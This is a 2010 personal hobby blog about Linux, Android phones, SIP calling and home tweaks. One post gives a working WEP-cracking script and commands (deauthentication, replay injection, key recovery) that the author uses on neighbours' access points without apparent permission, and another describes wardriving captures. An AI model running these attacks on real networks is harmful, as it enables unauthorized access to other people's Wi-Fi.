Tuesday, November 9, 2010

Trouble with sipdroid

So over the past few days I've been having issues with not being able to receive any calls with my gizmo account. I put in all my account information into ekiga/twinkle on my laptop and was able to receive and make calls again. But I was unable to transmit any voice. So I fired up the ekiga account, that worked just fine. So at least I still have a work around for service...... sometimes. I don't like receiving calls through ekiga as the service to my android device is spotty. I don't want to walk around with my laptop all the time. That's just cumbersome. I installed the guava package from gizmo to see if that helped anything. It didn't. So for now, gizmo is dead to me. I'm still not sure if it's the actual install of sipdroid or if it really is just gizmo being a royal pain. 

BTW: my setup was. google voice > gizmo
It's now, google voice > ipkall > ekiga account. 

Saturday, October 30, 2010

Aircrack for Droid

I installed Debian onto a 4GB partition of my 16GB sdcard in my Moto Droid. This was quite the fun little adventure. I'll have to go more into it sometime later. While I was messing around with different packages and programs. I decided to pull down the aircrack-ng suite. After a lot of testing and playing, I found out that the Droid hardware just doesn't want to go into monitor mode. You can KINDA get it to work, but it's not reliable. The interface will just continue to disappear and your capture will not have amounted to anything. It also doesn't support injection as far as I can tell which limits much of what you can do with it. About the best that I could do was to have a script run every 30 seconds or so that would restart the interface to begin captures again. I walked around the neighborhood a few times while it was doing this. I was amazed to find that it did work a little. I'm wondering though if maybe using tcpdump wouldn't be a better solution to the aircrack-ng tools. I'll give it a test soon and write back here.

EDIT: Found out today that the wireless card in the Droid supports injection.
10/31/2010

Hacking the Apple tv

So these are my notes over the past week or so on hacking my appletv.

I obtained an appletv generation 1 with a 160GB HD at the Ohio Linux Fest 2010. At first it just sat around for a few days before I could really get to hacking at it. The first thing that I did was to grab a friend's macbook and make a patchstick for it and installed ssh and xbmc. I've never been a big fan of boxee so I just left that off. That friend went back to college (this will come into play later). I installed binaries of rtorrent and irssi from projects on google code.
http://code.google.com/p/rtorrent-appletv/
http://code.google.com/p/irssi-appletv/

The rtorrent binary worked great while the irssi binary ran but coughed up some error about perl not being where it thought it should be. I though about creating a symlink to fix this but just decided that I'd rather get gcc running and build my own sources.
I pulled down the darwinx86-801 release from this link. I then used 'sudo hdiutil mount' to mound the .iso to the system and pulled a few binaries that I thought I would need from it to my ~/bin directory. I.E. screen, nano, vim, xsltproc, wget, and quite a few more. I added ~/bin to the $PATH variable and chmod the binaries so that I could use them. I noted that there were a few gcc packages on the disk, so I also pulled those down and attempted to install them into /usr/local/bin which was just a symlink to /mnt/local. This failed. I'm pretty sure that I'm going to have to build my own gcc sources on either an intel Tiger mac or a linux box with the proper toolchain set up. I found a possible guide for the linux setup here. Still need to get this done.
I installed the XAMPP webserver stack just for kicks and giggles. This was a stupid simple install. I had to find an older version of it though so I'm a bit wary about the security of the install. I downloaded the older binary and extracted it to /Applications which was a symlink to /mnt/Applications. Made a few changes to the configurations to what I wanted/needed at the time and fired it up. It worked like a champ. I installed rutorrent there and watched a pretty gui of my torrents. That lasted all of 10 mins.

NOTE: if your wondering why I didn't just install everything into the OSBoot partition and be done with it, the default OSBoot partition is 900MB, not enough space to really play around with installing much of anything. This is the reason for all the symlinks.

Next I installed Python, AGAIN I had to find an older version that would run on the hardware. I really need to get gcc or something working so that I can build the latest sources. I managed to get python 2.5.4 and 2.6 working on the hardware, but I have not tried anything newer yet.
I have a couple different versions of Xcode downloaded to the system. 2.5 being the newest. I've played with the gcc packages there, they run but still do not build anything that will run on the system. I'm pretty sure that this is just misconfiguration on my part and I need to read about how the thing works. I've even pulled down the pre-compiled version of gcc for macs from the sourceforge project HPC. I had to dig in the archives to find the version that worked and found this.

And last but never the least, I needed a *cast catcher. Since getcast wouldn't run with the version of python that I'm running I decided to look over to bashpodder. Bashpodder has saved me some heartache as I messed around with this little white box. I was able to download and listen to *casts through xbmc while I was working. Thanks, Linc.

As I took the device apart at OLF, I noted that the wifi card was in a mini-PCIe slot and very easily removed. After a little research, I found that you could install a HD decoder into the slot instead of wireless. I will be looking to do this in the future sometime after we move into the new house at the first of the year. 

Another way to use Ekiga with google voice on your android phone.

I've already gone over once of how to get your ekiga account to receive phone calls in sipdroid. This will just be a slightly different method of getting an ekiga account to receive phone calls also using sipdroid. This method allows you to either use a Google voice account if you have it.


OK, fairly simple process here. The first thing that you need to do, and the most obvious, register for an ekiga sip account at ekiga.net. if you do not have one already. Write down the sip address that you pick, 'black@ekiga.net' Now run over to ipkall.com and register for their free service. It can take up to a few hours for ipkall to email you back your new US based  DID, but most of the time it's within a few seconds. Log into your new ipkall number. Under 'SIP Phone Number' put in your ekiga username, everything up to the @ of your sip address 'black'. And under the 'SIP Proxy' put in 'ekiga.net' or whatever is after the @ in your sip address.

If you don't have a google voice account just go ahead and stop here. You can now receive normal phone calls through sip with ekiga. Go ahead and give it a test. Just call the ipkall number from any phone that has long distance service.

For adding the number to your google voice account, it's fairly simple. Just add the number and have google call to verify the number. When your phone rings, slide up to answer and then slide the number pad up to punch in the verification code. I've noticed a good bit of lag sending the touch tones back to google. Keep this in mind in case you get into a hurry and google doesn't seem to be accepting the code. Now you can receive calls from google voice over sip without having a gizmo5 account.

As an added little bonus, there is an app in the market called 'GVoice Callback' which allows you to make normal calls with your phone and tells google voice to 'ringback' your ipkall number. So with this work around you can also make as well as receive calls with ekiga. This is the method in which I receive and make ALL my calls now that I'm located in Canada.

NOTE: Ekiga really likes STUN servers. So I'd advise using one if your going to be jumping from network to network making sip calls.

Thursday, October 28, 2010

Chicken 'n' dumplings

This really needs no introduction. It's a recipe that's been running around in my family for quite a while. Something that we love to eat as the fall and winter approaches. So, take an afternoon off and make something good over the weekend for your family.



Chicken & Dumplings

1 - large Chicken
2 Quarts Chicken stock
1 - Can of cream of Chicken Soup
6 tbsp of butter.
salt/pepper to taste.


Dumplings
2 hard boilded eggs
1/3 cup of shortening
2/3 cup of milk
1 1/2- 2 cups all purpose flour

place flour in large bowl, add shortening and milk. Stir until moistened add more flour if needed to make a soft dough.


Directions: Boil chicken until tender. Remove from bone and cut into small pieces. Save the liquid for stock. If necessary add enough water to stock to make 2 quarts. Add soup,
butter, salt and pepper into boiling chicken stock. Boil 2-3 mins stiring gently. Fold in chicken and eggs. Simmer for 20-30 mins.

Monday, October 18, 2010

Split for burning large backups to a DVD.

The other day I was getting my backups ready to restore my Archlinux install onto a larger hard drive. I don't delete any packages that pacman downloads. I just move them out of the /var/cache/pacman/pkg/ to /var/cache/pacman/old/. This is just to make sure that no matter what happens I can rollback to any package that I've used. Which I do quite a bit when switching from radeonhd drivers to the ATI drivers. I have to switch out xorg and boot to an older kernel.

Anyway, /var/cache/pacman ended up being about 16GB from over 1.5 years of pulling down packages. I wanted an easy way to copy the whole directory to a couple dvds for easily copying to the new disk. I was asking notklaatu on irc if he had any ideas and he told me that I could use tar, split, and cat to do all this. I could tar the folder and compress it. Then, run split to divide the large file into smaller files that would fill up the entire dvd. Burn the files to the dvds and then use cat to rebuild the original compressed tar. So here are the commands that I used to tar, split, burn to dvd, and rebuild the archive

$ tar cf ~/pacman.tar /var/cache/pacman
$ split  -b 2240m ~/pacman.tar split.pacman.tar.
$ growisofs -Z /dev/sr0 -udf split.pacman.tar.a*
$ cat ~/split.pacman.tar.* > ~/pacman.tar

This is all that it took for me to backup 16GB to 4 dvds, I also decided to back up my digital photos and some of my other digital media with this method. It saved me a lot of time in k3b making data dvd's. burning 8 files was a whole lot easier than burning 9000 or whatever what in that package folder. Hope this helps out someone.

Thursday, August 5, 2010

Installing Sapphire 1.0 with google aps on moto droid with SPRecovery

Well yesterday, a new release of sapphire for the Motorola Droid hit the Internet. I installed it [link to screenshots]and was VERY impressed. [Sapphire is a from source android build, similar to cyanogen.] So I'll walk through the process that I used to install this awesome rom. Seeing as I am a Linux user, I'm going to go about installing this rom from Linux using only the CLI. This guide assumes that you have root access.

First off, install SPRecovery (if you don't have it).  Next, grab the sapphire rom, the google apps, and the black bar theme (you only need this if you want to have the same setup as my droid). OK, here comes the fun part. Mount your Droid and copy the files to the root of the sdcard. Rename the sapphire rom to 'update.zip' and reboot your Droid into SPRecovery [hold x on the physical keyboard while booting up]. Use the volume up and down buttons to navigate the menus, camera to select, and the power button to go back to the previous menu.
1. Move down one option to 'wipe data/factory reset' and click the camera button.
2. Move up 4 times to select 'yes' and hit the camera button.
3. Then move down to 'install', hit the camera button, move to allow update.zip installation, hit camera again.
4. move down to Install and hit the camera button again.
5. Hit the power button to return to the main menu.
6. select mount options and hit the camera button
7. select enable usb mass storage and mount phone.
8. rename sapphire update to something else and rename sapphire google apps to update.zip and unmount
9. select disable usb mass storage and click the camera button
10. press the power button to return to main menu and repeat steps 3-7
11. rename google apps update to something else and rename black bar theme to update.zip and unmount
12. select disable usb mass storage and click the camera button
13. press the power button to return to main menu and repeat steps 3 and 4

Here are the CLI commands that I used. Enjoy

$ cd ~/src/
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/release/sapphire-1.0.0-update.zip
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/release/sapphire-1.0.0-gapps-update.zip
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/themes/spr/sapphire-1.0.0-black_bar-theme.zip

# mount /dev/sdb1 /mnt/phone
$ cp ~/src/sapphire-1.0.0* /mnt/phone/
$ mv /mnt/phone/sapphire-1.0.0-update.zip /mnt/phone/update.zip
# umount /mnt/phone

# mount /dev/sdb1 /mnt/phone
$ mv /mnt/phone/update.zip /mnt/phone/sapphire-1.0.0-update.zip
$ mv /mnt/phone/sapphire-1.0.0-gapps-update.zip /mnt/phone/update.zip
# umount /mnt/phone

# mount /dev/sdb1 /mnt/phone
$ mv /mnt/phone/update.zip /mnt/phone/sapphire-1.0.0-gapps-update.zip
$ mv /mnt/phone/sapphire-1.0.0-black_bar-theme.zip /mnt/phone/update.zip
# umount /mnt/phone

Sunday, July 25, 2010

So you bricked your Moto Droid.

Ok, so I have this really bad habit of bricking my Droid or loosing root.... you name it, it's probably been inflicted upon my device. So in an effort to keep me from loosing my notes on the subject, here is my Linux based process for un-bricking my Droid. I'm not sure how legal it is to link to roms and such but I don't need those I already have my nandroid backups.

Needed files, SBF_flash and SPRecovery_ESE81.sbf
This is a retarded simple fix. (you can still damage your phone beyond repair blah blah blah...)

Download SBF_flash and SPRecovery_ESE81.sbf [these are the links from CyanogenMod Wiki] Plug in Droid while turned off and then power on while pressing up on the d-pad. This will dump you into the boot loader. Then run './sbf_flash SPRecovery_ESE81.sbf' This will flash the recovery image to your Droid. And now you are done. Congrats you just un-bricked your phone. Now install the Nandroid backup of your choice or install the rom of your choice. Enjoy.

Saturday, July 17, 2010

Android applications that I use

Well everyone else has done it to some extent or another. I'm just going to list the apps that I love, like and just can't live without. As far as the apps that I can't live without, I'll denote those with an (*). I've got a rooted Motorola Droid running the DroidMod rom and a custom kernel.

So here they are in no particular order:

*Appmonster - what I use to backup and store different versions of the apps that I have installed.

*ASE (android scripting environment) - python, perl, and a few other scripting languages on the android platform. It's not python3, but it has run parts of snkmchnb's getcast before. Who needs a GUI pod catcher on android when you have the CLI?

*sipdroid - FOSS VoIP client. It only supports one account at a time, but this is the program that I use for free calling via googlevoice+ipkall+ekiga.

*Bible - online translations of the Bible, newer versions are very bloated. Until an offline version is installed, I run version 1.2

*terminal - does not require an explanation, it's the CLI.

*ConnectBot - SSH client. Allows for more than one ssh session at a time. More control than just terminal.

*drocap2 - root only application that allows for taking screenshots of the device at any time. Can be set to run with a timer or just simply shaking the device. I use it to take all the screenshots that are found on unixporn.

*home++ - replacement home screen that removes the need for the notification bar and has that cool little launcher bar as seen in the above screenshots.

*Google Voice - must have for my free SMS abilities.

*ES File Explorer - file and ftp access, handy for uploading recordings to the ftp directly from the android device.

*G-MoN - war driving

*Maps(-) - openstreetmaps, google maps, opencyclemaps all rolled into one. NO
NAVIGATION. But who needs that anyway?

*overclockwidget - allows me to under and over clock my cpu.

andchat - IRC

audiomanager - for those times when the default audio button just won't cut it.

barcode scanner - yeah

blogger-droid - it's installed but I've never had a reason to use it yet.

Chess - one of the 2 games that have ever been installed on this device.

opensudoku - the other game that's installed.

dPod - *cast catcher until I get getcast or bashpodder working via ASE

DroidLight - use the LEDs like a flashlight.

Dropbox - allows to download stuff from my dropbox account. Does not download folders, which is very annoying.

FBreader - FOSS book reader

mapdroyd + contentdroyd - openstreetmaps cached on the phone. not as up to date as Maps(-) but still useful for area's that you do not have cached.

mustard - identica client

Netcounter - just something that I use to monitor my bandwidth usage of the 3G connection. If you use SIP for your phone calls, this is a MUST.

shopsavvy - bloated app that is kinda fun to play with.

the weather channel - weather... like we need to know anything else about the weather.

wifinder - handy gui for connecting to different access points.


Well that's pretty much everything that I meant to go on about today. If you should happen to read this and have a useful application that I've not listed here, please send me an email at cobra2 {at} unixporn [dot] com. Thanks in advance.

Wednesday, July 7, 2010

Just a reminder about alias

This is just kinda for my crappy memory.

So I was messing around earlier today with a few alias' in bash. I had them all set up for my user in my ~/.bashrc file. Then I logged into root to do something. Tried to use one of my new alias..... FAIL. So I had to do a little reading on how to set an alias for root. I found that I needed to edit /root/.bashrc.
Then I got to thinking. Wouldn't it just be better to have the alias for the whole system rather than just editing each user's .bashrc? So I did a little more reading and found that just editing /etc/bash.bashrc would solve all those problems.

Tuesday, April 20, 2010

Blocking ads and other various websites

Have you ever been to a site that had one of those very annoying embedded ads that just hung at the top or bottom of the page. This 'banner' was just in the way no matter what you did. Have you ever wanted to get rid of it?

I use various browsers when browsing the web, some support adblock and others do not. I'm not a fan of browser plugins. I'm under the firm belief that a browser is a browser and should only deal with the I/O of html. That being said, I don't use adblock, noscript or anything else like that. I use settings in /etc/hosts to block my ads.

So for today's example, turn off your adblock utility and navigate over to www.unixporn.com. Now you should see a very annoying banner ad on every single page, even on the pages where your viewing a screenshot full screen. Lets get rid of this ad.

OK, from the information in the ad, we know that it is hosted by godaddy. So we'll try the easiest thing first, open up the page source, and search for the term 'godaddy'.
lynx -source www.unixporn.com | grep godaddy
this will give you this line:
script language="javascript" src="https://a12.alphagodaddy.com/hosting_ads/gd01.js">



Now that was pretty easy. Lets add this to /etc/hosts.

# echo '127.0.0.1 a12.alphagodaddy.com' >> /etc/hosts

Restart your browser, and navigate back to unixporn. Tada... the ad is gone. Lets add a site to block. I'm not a fan of social networking so this seems appropriate to me. 


# echo '127.0.0.1 myspace.com' >> /etc/hosts
Restart the browser, and navigate to myspace. If all went well, you should get an error about not being able to load the page. Wonderful isn't it?




You can get a head start on adding lists like this to /etc/hosts by browsing through your adblock lists. The really nice thing about blocking ads/websites this way is that unlike using an adblock plugin inside a browser such as firefox or chromium, this is a system wide setting. You no longer have any need to run adblock.

Sunday, April 18, 2010

An afternoon messin with WEP

I was bored this afternoon and decided that I needed to mess around with some WEP cracking. There were quite a few APs around me that were encrypted with WEP keys. It has been a while since I broke out the massive WEP attack book and I thought today would be a good refresher.

So first things first, I checked to make sure that my hardware was setup. I've got a Hawkings Technology HWU8DD usb wireless dish. This device uses the zd1211rw drivers which do not fully support all injection attacks. However, it's more than enough for any WEP attack that I played with today. I tested to make sure the device was working by running # iwlist wlan1 scanning >> scan.log then parsed through those results and picked out the first WEP secured AP that I saw in the list. I wrote down the mac address, the channel and the ESSID of the AP. 00:00:00:00:00:00 6 Secured


I changed directories into my build folder. $ cd ~/src. Then I pulled down the latest aircrack-ng sources from SVN.
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ cd aircrack-ng
$ make
# make install
You could also just pull aircrack-ng out of your repos.

Now I was ready to rock and roll. The first thing that I did was to get my device in monitor mode. I know that my device doesn't really have a solid monitor mode, so I have to run # airmon-ng start wlan1 to get it to listen to everything. Now I was ready to play. I fired up vim and made a bash script to spam the AP.

$ vim ~/aircrack.sh
#!/bin/bash
#run as root
# run airmon-ng start $interface
# run airodump-ng in another terminal
essid=

aireplay-ng -e ${essid} -1 10 mon0 &
aireplay-ng -e ${essid} -0 50 mon0 &
aireplay-ng -e ${essid} -3 mon0 &

#end

Changed the essid to the proper name, wrote and saved. I made a 'hack' directory $ mkdir ~/hack to dump all my packet captures into and changed directory into that directory. I fired up airodump-ng to listen to the channel of the AP and dump the IVS to a file and ran my script in another terminal.
# airodump-ng mon0 -i -w Secured -c 6
# /home/user/aircrack.sh
I watched the IVS numbers in airodump-ng climb, waited about a min, and while still attacking the AP ran # aircrack /home/user/hack/Secured*.

I really didn't need to keep running the attack, in less than a minute I had captured enough information to crack the WEP key. I went on to crack 8 more APs in about an hour. Needless to say, if you using WEP expect to be hacked. Switch to something more secure such as WPA2.

Tuesday, February 9, 2010

Another way to use cron to keep a log of your dynamic ip changes.

My cousin moved my desktop/fileserver over to his house and hooked it up to the internet to give me access to it via ssh. He has a dynamic ip from his isp which changes anytime the router is rebooted and at random times through the day. I wanted to both keep track of the ip and keep a log of how often it changed. I didn't think that I could keep the log if I used something like dyndns. I already use dropbox on all my machines, so I thought that this would be an easy way to get the ip back and forth and be accessable anywhere that I might travel. So I wrote a cron job to dump the ip address to a file in my dropbox folder every hour on the hour.

So if your going to do this my way, your going to need to have dropbox, lynx, cron, and some sort of text editor [vim].

I'm running archlinux on my desktop. First, I looked around in /etc for my cron folders and I found these:
  • /etc/cron.daily
  • /etc/cron.hourly
  • /etc/cron.monthly
  • /etc/cron.weekly
Since all I wanted was something to run every hour, I logged into root and ran cd /etc/cron.hourly. Now I used my favorite text editor, vim, to create a new shell script for cron to run, vim ip. Then I pressed 'i' to edit the file. I have used lynx on many the ocassion to browse the web on the command line so I'm familiar with it. This is what I ended up with in my shell script.
#!/bin/bash
#Logs the ip to a file in the dropbox folder
#edit dropbox variable to correct path.
dropbox=

lynx -dump http://www.whatismyip.org >> $dropbox/ip.log

#end of file

Now just type :w and :q, for write and quit. Then change permissions so that cron can execute the script, chmod a+x /etc/cron.hourly/ip. Now give the script a test run /etc/cron.hourly/ip. You can cat the file in dropbox to see if it worked, cat /ip.log.

Enjoy this quick and dirty way to keep track of your ip address.

Thursday, January 28, 2010

Using Google Voice through Ekiga on Android

Well I am the proud owner of the Motorola Droid. I have a Google Voice (GV) account, a gizmo5 account and an ekiga account. I wanted to be able to receive calls over SIP from GV to ekiga. But GV does not provide any ties to any sip service other than gizmo5. I found that I could forward calls coming into gizmo to another sip service. This is how I made Google Voice work over sip on my Droid.

I found a sip client called Sipdroid that has worked the best for me on my Droid. The developers of this application add in a lot of support for the sip services offered by PBXes. I find this to be needless for my uses of a sip client, but some people may find it easier to use.

First, your going to need to log into your Google Voice account. Go into settings and add a phone. This phone will be your gizmo5 number [the 1-747-***-**** number] and you should select gizmo5 as the type of phone. Do not verify the new phone yet. Now, you need to log into gizmo5 and forward all calls to your *@ekiga.net.

Now, you need to download and install sipdroid from the android market. Open the program. Tap the menu button and go into settings. Go into 'Sip Account Settings' and enter your ekiga log in information into the user name and password spaces. For the 'Server' enter 'ekiga.net' leave Domain blank. The Port should be 5060 and protocol should be UDP as TCP will not authenticate with ekiga yet. Now, hit back and go into 'Call Options' and make sure 'Use Wlan' and 'Use 3G' are checked. I don't advise using EDGE as the call quality is very poor. For 'Preferred Call Type' select 'phone'.

Under 'Advanced Options' you can adjust the gain. Settings higher than the defaults can cause significant problems for the person(s) on the other end of the call. Be wary when setting them and also consider heavy testing from multiple locations before setting on your preferred settings here.

Now, go back to the settings in Google Voice and verify your gizmo5 phone. Your android phone should ring, slide up to answer the call, then slide the arrow at the bottom of the screen to bring up the dial pad and enter the verification code from GV.

Presto!! Your now receiving GV phone calls over SIP on your android.

Friday, January 22, 2010

HelloWorld!

So this is just a test to see how well this blogging thing goes for me. I seem to have found time to mess around with this sort of thing.

So here is a little background on myself. I'm from the deep south (N. Georgia to be exact). I've been using various Linux distro's over the past 11 years, everything from Slackware, Gentoo and Arch to Ubuntu, Redhat and Mandrake. I've done a little bit of everything and a lot of nothing. I do not claim to be a Linux guru, I just tend to be more of a power user. I like my machines to be fast, responsive and straight to the point. I have almost zero formal training in computers. I've taken three computer related courses at the local community college. That being said, let me speak a little about my current machine.

I've got a HP DV4-1222-nr running Archlinux x86_64. The processor is an AMD RM-72 which runs quite hot most of the time. The laptop has 4GB of DDR2. My startup time from grub is about 19 seconds to user login. I've had it shorter but it just didn't work the way I was planning for it.

I spend most of my time on the command line. Even when I'm in a GUI I've always got a terminal running. But, as far as GUI's go, I use fluxbox for a window manager and mainly qt applications such as konsole, arora, calibre etc. You can find various screenshots of my desktop on unixporn.com under the user cobra2.

Well that does it for post one.


def guesswhat():
print 'HelloWorld'